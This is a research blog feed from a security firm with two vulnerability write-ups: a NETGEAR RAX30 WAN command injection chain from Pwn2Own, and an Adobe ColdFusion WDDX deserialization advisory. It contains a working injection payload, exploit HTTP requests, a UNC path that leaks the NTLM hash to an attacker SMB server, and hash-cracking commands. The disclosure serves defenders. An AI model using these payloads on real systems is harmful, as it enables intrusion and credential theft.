❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayNCC Group Research

Puckungfu 2: Another NETGEAR WAN Command Injection

9 February 2024 at 12:00

Summary

Previously we posted details on a NETGEAR WAN Command Injection identified during Pwn2Own Toronto 2022, titled Puckungfu: A NETGEAR WAN Command Injection.

The exploit development group (EDG) at NCC Group were working on finding and developing exploits for multiple months prior to the Pwn2Own Toronto 2022 event, and managed to identify a large number of zero day vulnerabilities for the event across a range of targets.

However, NETGEAR released a patch a few days prior to the event, which patched the specific vulnerability we were planning on using at Pwn2Own Toronto 2022, wiping out our entry for the NETGEAR WAN target, or so we thought…

The NETGEAR /bin/pucfu binary executes during boot, and performs multiple HTTPS requests to the domains devcom.up.netgear.com and devicelocation.ngxcld.com. We used a DHCP server to control the DNS server that is assigned to the router’s WAN interface. By controlling the response of the DNS lookups, we can cause the router to talk to our own web server. An HTTPS web server using a self-signed certificate was used to handle the HTTPS request, which succeeded due to improper certificate validation (as described in StarLabs’ The Last Breath of Our Netgear RAX30 Bugs – A Tragic Tale before Pwn2Own Toronto 2022 post). Our web server then responded with multiple specially crafted JSON responses that end up triggering a command injection in /bin/pufwUpgrade which is executed by a cron job.

Vulnerability details

Storing /tmp/fw/cfu_url_cache

The following code has been reversed engineered using Ghidra, and shows how an attacker-controlled URL is retrieved from a remote web server and stored locally in the file /tmp/fw/cfu_url_cache.

/bin/pucfu

The following snippet of code shows the get_check_fw function is called in /bin/pucfu, which retrieves the JSON URL from https://devcom.up.netgear.com/UpBackend/checkFirmware/ and stores it in the bufferLargeA variable. bufferLargeA is then copied to bufferLargeB and passed to the SetFileValue function as the value parameter. This stores the retrieved URL in the /tmp/fw/cfu_url_cache file for later use.

int main(int argc,char **argv)
{
    ...
    // Perform API call to retrieve data
    // Retrieve attacker controlled data into bufferLargeA
    status = get_check_fw(callMode, 0, bufferLargeA, 0x800);
    ...
    // Set reason / lastURL / lastChecked in /tmp/fw/cfu_url_cache
    sprintf(bufferLargeB, "%d", callMode);
    SetFileValue("/tmp/fw/cfu_url_cache", "reason", bufferLargeB);

    strcpy(bufferLargeB, bufferLargeA);
    // Attacker controlled data passed as value parameter
    SetFileValue("/tmp/fw/cfu_url_cache", "lastURL", bufferLargeB);

    time _time = time((time_t *)0x0);
    sprintf(bufferLargeB, "%lu", _time);
    SetFileValue("/tmp/fw/cfu_url_cache", "lastChecked", bufferLargeB);
    ...
}

/usr/lib/libfwcheck.so

The get_check_fw function defined in /usr/lib/libfwcheck.so prepares request parameters from the device settings, such as the device model, and calls fw_check_api passing through the URL buffer from main.

int get_check_fw(int mode, byte betaAcceptance, char *urlBuffer, size_t urlBufferSize)
{
    ...
    char upBaseUrl[136];
    char deviceModel[64];
    char fwRevision[64];
    char fsn[16];
    uint region;

    // Retrieve data from D2
    d2_get_ascii(DAT_00029264, "UpCfg", 0,"UpBaseURL", upBaseUrl, 0x81);
    d2_get_string(DAT_00029264, "General", 0,"DeviceModel", deviceModel, 0x40);
    d2_get_ascii(DAT_00029264, "General", 0,"FwRevision", fwRevision, 0x40);
    d2_get_ascii(DAT_00029264, "General", 0,  DAT_000182ac, fsn, 0x10);
    d2_get_uint(DAT_00029264, "General", 0, "Region",  region);

    // Call Netgear API and store response URL into urlBuffer
    ret = fw_check_api(
        upBaseUrl, deviceModel, fwRevision, fsn,
        region, mode, betaAcceptance, urlBuffer, urlBufferSize
    );
    ...
}

The fw_check_api function performs a POST request to the endpoint with the data as a JSON body. The JSON response is then parsed and the url data value is copied to the urlBuffer parameter.

uint fw_check_api(
    char *baseUrl, char *modelNumber, char *currentFwVersion,
    char *serialNumber, uint regionCode, int reasonToCall,
    byte betaAcceptance, char *urlBuffer, size_t urlBufferSize
)
{
    ...
    // Build JSON request
    char json[516];
    snprintf(json, 0x200,
        "{\"token\":\"%s\",\"ePOCHTimeStamp\":\"%s\",\"modelNumber\":\"%s\","
        "\"serialNumber\":\"%s \",\"regionCode\":\"%u\",\"reasonToCall\":\"%d\","
        "\"betaAcceptance\":%d,\"currentFWVersion \":\"%s\"}",
        token, epochTimestamp, modelNumber, serialNumber, regionCode, reasonToCall,
        (uint)betaAcceptance, currentFwVersion);

    snprintf(checkFwUrl, 0x80, "%s%s", baseUrl, "checkFirmware/");

    // Perform HTTPS request
    int status = curl_post(checkFwUrl, json,  response);
    char* _response = response;

    ...

    // Parse JSON response
    cJSON *jsonObject = cJSON_Parse(_response);

    // Get status item
    cJSON *jsonObjectItem = cJSON_GetObjectItem(jsonObject, "status");
    if ((jsonObjectItem != (cJSON *)0x0)    (jsonObjectItem->type == cJSON_Number)) {
        state = 0;
        (*(code *)fw_debug)(1,"\nStatus 1 received\n");

        // Get URL item
        cJSON *jsonObjectItemUrl = cJSON_GetObjectItem(jsonObject,"url");

        // Copy url into url buffer
        int snprintfSize = snprintf(
            urlBuffer,
            urlBufferSize,
            "%s",
            jsonObjectItemUrl->valuestring
        );
        ...
        return state;
    }
    ...
}

The curl_post function performs an HTTPS POST request using curl_easy. During this request, verification of the SSL certificate returned by the web server, and the check to ensure the server’s host name matches the host name in the SSL certificate are both disabled. This means that it will make a request to any server that we can convince it to use, allowing us to control the content of the lastURL value in the /tmp/fw/cfu_url_cache file.

size_t curl_post(char *url, char *json, char **response)
{
    ...
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, curlSList);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json);
    // Host name vs SSL certificate host name checks disabled
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);
    // SSL certificate verification disabled
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
    ...
}

pufwUpgrade -A

Next, pufwUpgrade -A is called from a cron job defined in /var/spool/cron/crontabs/cfu which executes at a random time between 01:00am and 04:00am.

This triggers the PuCFU_Check function to be called, which reads the lastURL value from /tmp/fw/cfu_url_cache into the global variable gLastUrl:

int PuCFU_Check(int param_1)
{
    ...
    iVar2 = GetFileValue("/tmp/fw/cfu_url_cache", "lastURL",  lastUrl, 0x800);
    ...
    DBG_PRINT("%s:%d urlVal=%s\n", "PuCFU_Check", 0x102,  lastUrl);
    snprintf( gLastUrl, 0x800, "%s",  lastUrl);
    ...

Then, checkFirmware is called which saves the gLastUrl value to the Img_url key in /data/fwLastChecked:

int checkFirmware(int param_1)
{
    ...
    snprintf(Img_url, 0x400, "%s",  gLastUrl);
    ...
    SetFileValue("/data/fwLastChecked", "Img_url", Img_url);
    ...

The FwUpgrade_DownloadFW function is later called which retrieves the Img_url value from /data/fwLastChecked, and if downloading the file from that URL succeeds due to a valid HTTP URL, proceeds to call saveCfuLastFwpath:

int FwUpgrade_DownloadFW()
{
    ...
    iVar1 = GetFileValue("/data/fwLastChecked", "Img_url",  fileValueBuffer, 0x400);
    ...
    snprintf(Img_url, 0x400, "%s",  fileValueBuffer);
    ...
    snprintf(imageUrl, 0x801, "%s/%s/%s", Img_url,  regionName, Img_file);
    ...
    do {
        ...
        uVar2 = DownloadFiles( imageUrl, "/tmp/fw/dl_fw", "/tmp/fw/dl_result", 0);
        if (uVar2 == 0) {
            iVar1 = GetDLFileSize("/tmp/fw/dl_fw");
            if (iVar1 != 0) {
                ...
                snprintf(fileValueBuffer, 0x801, "%s/%s", Img_url,  regionName);
                saveCfuLastFwpath(fileValueBuffer);
                ...

Finally, the saveCfuLastFwpath function (vulnerable to a command injection) is called with a parameter whose value contains the Img_url that we control. This string is formatted and then passed to the system command:

int saveCfuLastFwpath(char *fwPath)
{
    char command [1024];
    memset(command, 0, 0x400);
    snprintf(command, 0x400, "rm %s", "/data/cfu_last_fwpath");
    system(command);
    // Command injection vulnerability
    snprintf(command, 0x400, "echo \"%s\" > %s", fwPath, "/data/cfu_last_fwpath");
    DBG_PRINT( DAT_0001620f, command);
    system(command);
    return 0;
}

Example checkFirmware HTTP request/response

Request

The following request is a typical JSON payload for the HTTP request performed by the pucfu binary to retrieve the check firmware URL.

{
    "token": "5a4e4c697a2c40a7f24ae51381abbcea1aeadff2e31d5a2f49cc0f26e3e2219e",
    "ePOCHTimeStamp": "1646392475",
    "modelNumber": "RAX30",
    "serialNumber": "6LA123BC456D7",
    "regionCode": "2",
    "reasonToCall": "1",
    "betaAcceptance": 0,
    "currentFWVersion": "V1.0.7.78"
}

Response

The following response is a typical response received from the https://devcom.up.netgear.com/UpBackend/checkFirmware/ endpoint.

{
    "status": 1,
    "errorCode": null,
    "message": null,
    "url": "https://http.fw.updates1.netgear.com/rax30/auto"
}

Command injection response

The following response injects the command echo 1 > /sys/class/leds/led_usb/brightness into the URL parameter, which results in the USB 3.0 LED lighting up on the router.

{
    "status": 1,
    "errorCode": null,
    "message": null,
    "url": "http://192.168.20.1:8888/fw/\";echo\\${IFS}'1'>/sys/class/leds/led_usb/brightness;\""
}

The URL must be a valid URL in order to successfully download it, therefore characters such as a space are not valid. The use of ${IFS} is a known technique to avoid using the space character.

Triggering in Pwn2Own

As you may recall, this vulnerability is randomly triggered between 01:00am and 04:00am each night, due to the /var/spool/cron/crontabs/cfu cron job. However, the requirements for Pwn2Own are that it must execute within 5 minutes of starting the attempt. Achieving this turned out to be more complex than finding and exploiting the vulnerability itself.

To overcome this issue, we had to find a way to remotely trigger the cron job. To do this, we needed to have the ability to control the time of the device. Additionally, we also had to predict the random time between 01:00am and 04:00am that the cron job would trigger at.

Controlling the device time

During our enumeration and analysis, we identified an HTTPS POST request which was sent to the URL https://devicelocation.ngxcld.com/device-location/syncTime. By changing the DNS lookup to resolve to our web server, we again could forge fake responses as the SSL certificate was not validated.

A typical JSON response for this request can be seen below:

{
    "_type": "CurrentTime",
    "timestamp": 1669976886,
    "zoneOffset": 0
}

Upon receiving the response, the router sets its internal date/time to the given timestamp. Therefore, by responding to this HTTPS request, we can control the exact date and time of the router in order to trigger the cron job.

Predicting the cron job time

Now that we can control the date and time of the router, we need to know the exact timestamp to set the device to, in order to trigger the cron job within 1 minute for the competition. To do this, we reverse engineered the logic which randomly sets the cron job time.

It was identified that the command pufwUpgrade -s runs on boot, which randomly sets the hour and minute part of a cron job time in /var/spool/cron/crontabs/cfu.

The code to do this was reversed to the following:

int main(int argc, char** argv)
{
    ...

    // Set the seed based on epoch timestamp
    int __seed = time(0);
    srand(__seed);

    // Get the next random number
    int r = rand();

    // Calculate the hours / minutes
    int cMins = (r % 180) % 60;
    int cHours = floor((double)(r % 180) / 60.0) + 1;

    // Set the crontab
    char command[512];
    snprintf(
        command,
        0x1ff,
        "echo \"%d %d * * * /bin/pufwUpgrade -A \" >> %s/%s",
        cHours,
        cMins,
        "/var/spool/cron/crontabs",
        "cfu"
    );
    pegaSystem(command);

    ...
}

As we can see, the rand seed is set via srand using the current device time. Therefore, by setting the seed to the exact value that is returned from time when this code is run, we can predict the next value returned by rand. By predicting the next value returned by rand, we can predict the randomly generated hour and minute values for the cron entry written into /var/spool/cron/crontabs.

For this, we first get the current timestamp of the device from the checkFirmware request we saw earlier:

...
"ePOCHTimeStamp": "1646392475",
...

Next, we calculate the number of seconds that have occurred between receiving this device timestamp, and the time(0) function call occurring. We do this by viewing the hour and minute values written into /var/spool/cron/crontabs on the device, and then brute forcing the timestamps starting from the ePOCHTimeStamp until a match is found.

Although the boot time varied, the difference was consistently less than 1 second. From our testing, the most common time it took from the ePOCHTimeStamp being received to reaching the time(0) function call was 66 seconds, followed by 65 seconds.

Therefore, by using a combination of receiving the current timestamp of the device and knowing that on average it would take 66 seconds to reach the time(0), we could determine the next value returned by rand, thereby knowing the exact timestamp that would be set for the cron job to trigger. Finally, responding to the syncTime HTTPS request to set the timestamp to 1 minute before the cron job executes.

Geographical Differences?

Pwn2Own Toronto was a day away, and some of the exploit development group (EDG) members traveled to Toronto, Canada for the competition. However, when doing final tests in the hotel before the event, the vulnerability was not triggering as expected.

After hours of testing, it turned out that the average time to boot had changed from 66 seconds to 73 seconds! We are not sure why the device boot time changed from our testing in the UK to our testing in Canada.

Did it work?

All in all, it was a bit of a gamble on if this vulnerability was going to work, as the competition only allows you to attempt the exploit 3 times, with a time limit of 5 minutes per attempt. Therefore, our random chance needed to work at least once in three attempts.

Luckily for us, the timing change and predictions worked out and we successfully exploited the NETGEAR on the WAN interface as seen on Twitter.

Successful use of a N-day but still nets some cash and MoP points! #Pwn2Own #P2OToronto pic.twitter.com/rp2cGiimt3

β€” Zero Day Initiative (@thezdi) December 7, 2022

Unfortunately the SSL validation issue was classed as a collision and N-Day as the StarLabs blog post was released prior to the event, however all other vulnerabilities were unique zero days.

Patch

The patch released by NETGEAR was to enable SSL verification on the curl HTTPS request as seen below:

size_t curl_post(char *url, char *json, char **response)
{
    ...
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, curlSList);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1);
    ...
}

This will prevent an attacker using a self-signed web application from sending malicious responses, however the saveCfuLastFwpath function containing the system call itself was not modified as part of the patch.

Conclusion

If this interests you, the following blog posts cover more research from Pwn2Own Toronto 2022:

You can also keep notified of future research from the following Twitter profiles:

Technical Advisory: Adobe ColdFusion WDDX Deserialization Gadgets

21 November 2023 at 09:00
Vendor: Adobe
Vendor URL: https://www.adobe.com/uk/products/coldfusion-family.html
Versions affected:
    * Adobe ColdFusion 2023 Update 5 and earlier versions
    * Adobe ColdFusion 2021 Update 11 and earlier versions
Systems Affected: All
Author: McCaulay Hudson ([email protected])
Advisory URL: https://helpx.adobe.com/security/products/coldfusion/apsb23-52.html
CVE Identifier: CVE-2023-44353
Risk: 5.3 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Adobe ColdFusion allows software developers to rapidly build web applications. Recently, a critical vulnerability was identified in the handling of Web Distributed Data eXchange (WDDX) requests to ColdFusion Markup (CFM) endpoints. Multiple patches were released by Adobe to resolve the vulnerability, and each has been given its own CVE and Adobe security update:

From patch diffing, it was observed that the patch uses a deny list in the serialfilter.txt file to prevent specific packages from being executed in the deserialization attack. However, multiple packages were identified which did not exist in the deny list by default. This could be leveraged to perform enumeration of the ColdFusion server, or to set certain configuration values.

The vulnerabilities identified in this post were tested against ColdFusion 2023 Update 3 (packaged with Java JRE 17.0.6) using a default installation. No additional third-party libraries or dependencies were used or required for these specific vulnerabilities identified.

Impact

The vulnerabilities identified allowed an unauthenticated remote attacker to:

  • Obtain the ColdFusion service account NTLM password hash when the service was not running as SYSTEM
  • Verify if a file exists on the underlying operating system of the ColdFusion instance
  • Verify if a directory exists on the underlying operating system of the ColdFusion instance
  • Set the Central Config Server (CCS) Cluster Name configuration in the ccs.properties file
  • Set the Central Config Server (CCS) Environment configuration in the ccs.properties file

Being able to determine if a directory exists on the ColdFusion system remotely may aid attackers in further attacks against the system. For example, an attacker could enumerate the valid user accounts on the system by brute forcing the C:\Users\ or /home/ directories.

File or directory enumeration could also be used to determine the underlying operating system type and version. Changing the Central Config Server’s environment to development or beta may increase the attack surface of the server for further attacks. Finally, obtaining the service account NTLM hash of the user running ColdFusion may be used to tailor further attacks such as cracking the hash to a plaintext password, or pass-the-hash attacks.

Details

The deserialization attack has been discussed in detail previously by Harsh Jaiswal in the blog post Adobe ColdFusion Pre-Auth RCE(s). The vulnerabilities discussed in this document are an extension of that attack, utilising packages which are currently not in the default deny list.

Due to the constraints of the deserialization attack, the following conditions must be met in order to execute a Java function within the ColdFusion application:

  • The class must contain a public constructor with zero arguments
  • The target function must begin with the word set
  • The target function must not be static
  • The target function must be public
  • The target function must have one argument
  • Multiple public non-static single argument set functions can be chained in a single request
  • Must not exist in the cfusion/lib/serialfilter.txt deny list

ColdFusion 2023 Update 3 contained the following cfusion/lib/serialfilter.txt file contents:

!org.mozilla.**;!com.sun.syndication.**;!org.apache.commons.beanutils.**;!org.jgroups.**;!com.sun.rowset.**;

Adhering to those restrictions, the following functions were identified which provided an attacker useful information on the target system.

  • File existence – coldfusion.tagext.net.LdapTag.setClientCert
  • Directory existence – coldfusion.tagext.io.cache.CacheTag.setDirectory
  • Set CCS cluster name – coldfusion.centralconfig.client.CentralConfigClientUtil.setClusterName
  • Set CCS environment – coldfusion.centralconfig.client.CentralConfigClientUtil.setEnv

The proof of concept coldfusion-wddx.py script has been provided at the end of this post. The following examples use multiple IP addresses which correspond to the following servers:

  • 192.168.198.128 – Attacker controlled server
  • 192.168.198.129 – Linux ColdFusion server
  • 192.168.198.136 – Windows ColdFusion server

File existence – coldfusion.tagext.net.LdapTag.setClientCert

The setClientCert function in the CentralConfigClientUtil class could be remotely executed by an unauthenticated attacker to perform multiple different attacks. The function definition can be seen below:

public void setClientCert(String keystore) {
    if (!new File(keystore).exists()) {
        throw new KeyStoreNotFoundException(keystore);
    }
    this.keystore = keystore;
}

In this scenario, the attacker can control the keystore string parameter from the crafted HTTP request. An example HTTP request to exploit this vulnerability can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true HTTP/1.1
Host: 192.168.198.136:8500
Content-Type: application/x-www-form-urlencoded
Content-Length: 202

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcoldfusion.tagext.net.LdapTagx'><var name='clientCert'><string>C:\\Windows\\win.ini</string></var></struct></data></wddxPacket>

Executing this function allows an attacker to check if a file on the filesystem exists. If a file was present, the server would respond with a HTTP status 500. However, if the file did not exist on the target system, the server would respond with a HTTP status 200. This can be seen using the provided coldfusion-wddx.py PoC script:

└─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist C:\\Windows\\win.ini
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] File exists
└─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist C:\\Windows\\invalid-file
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] File does not exist

└─$ python3 coldfusion-wddx.py 192.168.198.129 file-exist /etc/passwd
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] File exists
└─$ python3 coldfusion-wddx.py 192.168.198.129 file-exist /etc/invalid
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] File does not exist

The Java File specification states that the path can be a Microsoft Windows UNC pathname. An attacker can therefore provide a UNC path of an attacker controlled SMB server. This will cause the ColdFusion application to connect to the attacker’s SMB server. Once the connection has occurred, the NTLM hash of the ColdFusion service account will be leaked to the attackers SMB server. However, the NTLM hash is only leaked if the ColdFusion service is not running as the SYSTEM user. It should be noted that by default, the ColdFusion service runs as the SYSTEM user, however Adobe recommends hardening this in the Adobe ColdFusion 2021 Lockdown Guide in section β€œ6.2 Create a Dedicated User Account for ColdFusion”.

In the following example, the ColdFusion service has been hardened to run as the coldfusion user, instead of the default SYSTEM user.

ColdFusion service running as β€œcoldfusion” user

An SMB server is hosted using smbserver.py on the attacker’s machine:

└─$ smbserver.py -smb2support TMP /tmp
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B125FC8-1210-09D4-1220-5A47EA6BB121 V:3.0
[*] Callback added for UUID 6BEEA021-B512-1680-9933-16D3A87F305A V:1.0
...

The file exist ColdFusion vulnerability can then be triggered to access the attacker’s SMB server using the UNC path:

└─$ python3 coldfusion-wddx.py 192.168.198.136 file-exist \\\\192.168.198.128\\TMP
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] File exists

The smbserver.py output shows that the ColdFusion server connected to the attacker’s SMB server, which resulted in the ColdFusion account Net-NTLMv2 hash being leaked:

[*] Incoming connection (192.168.198.136,53483)
[*] AUTHENTICATE_MESSAGE (DESKTOP-J10AQ1P\coldfusion,DESKTOP-J10AQ1P)
[*] User DESKTOP-J10AQ1P\coldfusion authenticated successfully
[*] coldfusion::DESKTOP-J10AQ1P:aaaaaaaaaaaaaaaa:10a621e4f3b9a4b311ef62b45d3c94fd:0101000000000000808450406ecbd901702ffe4197ae622300000000010010006900790064006100520073004b004400030010006900790064006100520073004b0044000200100071004300780052007a005900410059000400100071004300780052007a0059004100590007000800808450406ecbd90106000400020000000800300030000000000000000000000000300000c23fddb9ebd5ba3c293612e488cfa07300752e0ee89205bfbdade370d11ab4520a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100390038002e003100320038000000000000000000
[*] Closing down connection (192.168.198.136,53483)

The hash can then be cracked using tools such as John the Ripper or Hashcat. As shown in the following output, the coldfusion user had the Windows account password of coldfusion.

└─$ echo "coldfusion::DESKTOP-J10AQ1P:aaaaaaaaaaaaaaaa:6d367a87f95d9fb5637bcfad38ae7110:0101000000000000002213dd6ecbd9016f132c6d672d957400000000010010004f0078006d00450061006c0073006f00030010004f0078006d00450061006c0073006f000200100063004200450044006100670074004b000400100063004200450044006100670074004b0007000800002213dd6ecbd90106000400020000000800300030000000000000000000000000300000c23fddb9ebd5ba3c293612e488cfa07300752e0ee89205bfbdade370d11ab4520a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100390038002e003100320038000000000000000000" > hash.txt
└─$ john --format=netntlmv2 --wordlist=passwords.txt hash.txt
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
coldfusion       (coldfusion)

Directory existence – coldfusion.tagext.io.cache.CacheTag.setDirectory

Similar to file existence, it is also possible to determine if a directory exists by leveraging the setDirectory function in the CacheTag class. The function is defined as:

public void setDirectory(String directory) {
    if ("".equals(directory = directory.trim())) {
        CacheExceptions.throwEmptyAttributeException("directory");
    }
    directory = Utils.getFileFullPath(directory.trim(), this.pageContext, true);
    File tempFile = VFSFileFactory.getFileObject(directory);
    if (!CacheTag.fileExists(directory) || tempFile.isFile()) {
        CacheExceptions.throwDirectoryNotFoundException("directory", directory);
    }
    this.directory = directory;
}

In this case, the directory variable can be controlled by an unauthenticated request to the ColdFusion server. Once the functionality has passed various helper methods, it checks whether the directory exists or not and causes a HTTP error 500 when it does exist, and a HTTP error 200 when it does not exist. An example HTTP request can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Host: 192.168.198.129:8500
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='acoldfusion.tagext.io.cache.CacheTaga'><var name='directory'><string>/tmp/</string></var></struct></data></wddxPacket>

Likewise, the coldfusion-wddx.py Python script can be used to automate this request:

└─$ python3 coldfusion-wddx.py 192.168.198.136 directory-exist C:\\Windows\\
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Directory exists
└─$ python3 coldfusion-wddx.py 192.168.198.136 directory-exist C:\\Invalid\\
[#] Target: http://192.168.198.136:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist /tmp/
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Directory exists
└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist /invalid/
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

The helper function VSFileFactory.getFileObject uses the Apache Commons VFS Project for additional file system support. The list of supported file systems can be seen in the cfusion/lib/vfs-providers.xml file.

File System – HTTP/HTTPS

The HTTP(S) schemas allow you to perform a HTTP(S) HEAD request on behalf of the ColdFusion server. In the following example, a HTTP server is hosted on the attacker machine:

└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

The request is then triggered with a path of the attacker’s web server:

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist http://192.168.198.128/
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

This then causes a HTTP(S) HEAD request to be sent to the server:

192.168.198.129 - - [10/Aug/2023 08:43:01] "HEAD / HTTP/1.1" 200 -

File System – FTP

The FTP schema allows you to connect to an FTP server using the login credentials anonymous/anonymous:

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist ftp://192.168.198.128/
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist
msf6 auxiliary(server/capture/ftp) > 
[+] FTP LOGIN 192.168.198.129:37160 anonymous / anonymous

File System – JAR/ZIP

The JAR/ZIP schema allows you to enumerate the existence of directories within JAR/ZIP files on the ColdFusion server:

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist jar://opt/ColdFusion2023/cfusion/lib/cfusion.jar\!META-INF
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Directory exists

└─$ python3 coldfusion-wddx.py 192.168.198.129 directory-exist jar://opt/ColdFusion2023/cfusion/lib/cfusion.jar\!INVALID
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[-] Directory does not exist

The remaining supported filesystems were not tested, however it is likely they can be used to enumerate directories for the given filesystem.

Set CCS Cluster Name – coldfusion.centralconfig.client.CentralConfigClientUtil.setClusterName

It was possible to set the Central Config Server (CCS) Cluster Name setting by executing the setClusterName function inside the CentralConfigClientUtil class. The function is defined as:

public void setClusterName(String cluster) {
    if (ccsClusterName.equals(cluster)) {
        return;
    }
    ccsClusterName = cluster;
    CentralConfigClientUtil.storeCCSServerConfig();
    ccsCheckDone = false;
    CentralConfigRefreshServlet.reloadAllModules();
}

An attacker can control the cluster parameter and set the cluster name to any value they choose. An example HTTP request to trigger the vulnerability is shown below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Host: 192.168.198.129
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 216

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcoldfusion.centralconfig.client.CentralConfigClientUtilx'><var name='clusterName'><string>EXAMPLE</string></var></struct></data></wddxPacket>

Additionally, the provided PoC script can be used to simplify setting the CCS cluster name:

└─$ python3 coldfusion-wddx.py 192.168.198.129 ccs-cluster-name EXAMPLE
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Set CCS cluster name

Once the request has been processed by the ColdFusion server, the clustername property in the cfusion/lib/ccs/ccs.properties file is set to the attacker controlled value, and the cluster name is used by the ColdFusion server.

#Fri Aug 11 09:04:22 BST 2023
loadenvfrom=development
server=localhost
clustername=EXAMPLE
currentversion=-1
hostport=8500
excludefiles=jvm.config,neo-datasource.xml
enabled=false
ccssecretkey=<redacted>
environment=dev
hostname=coldfusion
port=7071
context=
loadversionfrom=-1

Set CCS Environment – coldfusion.centralconfig.client.CentralConfigClientUtil.setEnv

Similar to setting the CCS cluster name, an attacker can also set the CCS environment by executing the setEnv function inside the CentralConfigClientUtil class as shown below:

public void setEnv(String env) {
    if (ccsEnv.equals(env)) {
        return;
    }
    ccsEnv = env;
    CentralConfigClientUtil.storeCCSServerConfig();
    CentralConfigRefreshServlet.reloadAllModules();
}

An example HTTP request to execute this function with the attacker controlled env variable can be seen below:

POST /CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=foo _cfclient=true HTTP/1.1
Host: 192.168.198.129
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 212

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcoldfusion.centralconfig.client.CentralConfigClientUtilx'><var name='env'><string>development</string></var></struct></data></wddxPacket>

The PoC Python script command ccs-env automates sending this request:

└─$ python3 coldfusion-wddx.py192.168.198.129 ccs-env EXAMPLE
[#] Target: http://192.168.198.129/CFIDE/wizards/common/utils.cfc?method=wizardHash inPassword=bar _cfclient=true
[+] Set CCS environment

Finally, the environment property in the cfusion/lib/ccs/ccs.properties file has been changed to the attacker controlled value.

#Fri Aug 11 09:08:54 BST 2023
loadenvfrom=development
server=localhost
clustername=_CF_DEFAULT
currentversion=-1
hostport=8501
excludefiles=jvm.config,neo-datasource.xml
enabled=false
ccssecretkey=843c36f1-ca01-4783-9e50-135e0e6450e7
environment=EXAMPLE
hostname=coldfusion
port=7071
context=
loadversionfrom=-1

Recommendation

Do not deserialize user-controlled data where possible. Especially in instances where attackers can provide class names and functions which result in remote code execution. The existing patch uses a deny list which is not recommended, as it is not possible to list and filter all possible attacks that could target the ColdFusion server. This is especially so with the ability to load additional third-party Java files which could be targeted.

Instead, if the deserialization is a critical part of functionality which cannot be changed, an allow list should be used instead of a deny list. This would allow you to carefully review and list the small number of classes which can be used for this functionality, whilst minimising the likelihood of an attack against these classes. Although an allow list is a much better alternative to the deny list, it is still not a secure solution as vulnerabilities may exist within the allowed classes. Likewise, future changes and updates may occur within those vulnerable classes that the developer may not be aware of.

coldfusion-wddx.py

The following proof of concept script β€œcoldfusion-wddx.py” has been provided to demonstrate the various vulnerabilities outlined in this post.

import argparse
import requests
import sys
import enum

URL = None
VERBOSITY = None

class LogLevel(enum.Enum):
    NONE = 0
    MINIMAL = 1
    NORMAL = 2
    DEBUG = 3

class ExitStatus(enum.Enum):
    SUCCESS = 0
